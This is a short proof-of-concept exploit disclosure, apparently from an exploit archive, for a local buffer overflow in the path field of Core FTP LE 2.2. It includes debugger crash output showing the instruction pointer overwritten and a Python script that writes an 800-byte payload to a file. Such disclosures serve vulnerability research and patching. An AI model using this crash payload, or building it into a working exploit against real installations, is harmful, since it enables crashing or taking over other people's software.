Core FTP LE 2.2 – Path Field Local Buffer Overflow (PoC)
''' # Exploit Title: Core FTP Server v2.2 - BufferOverflow POC # Date: 2016-6-28 # Exploit Author: Netfairy # Vendor Homepage: http://www.coreftp.com/ # Software Link: ftp://ftp.coreftp.com/coreftplite.exe # Version: 2.2 # Tested on: Windows7 Professional SP1 En x86 # CVE : N/A [+] Type : Buffer overflow [+] Detail : [-] The vulnerability has the most typical Buffer overflow vulnerabilities. [-] enter the application and Input "A"*800 to the path box the press enter [-] crash info 0:008> g (4d48.4cc8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=00440770 ecx=00410041 edx=007c4ee4 esi=00000000 edi=01b1efe8 eip=00410041 esp=0012d6a0 ebp=00410041 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\CoreFTP\coreftp.exe coreftp+0x10041: 00410041 008b45fc8be5 add byte ptr [ebx-1A7403BBh],cl ds:0023:e5d003b5=?? ########generate "A"*800 ''' import struct junk = "A" * 800 with open("exp.txt","wb") as f : f.write(junk) |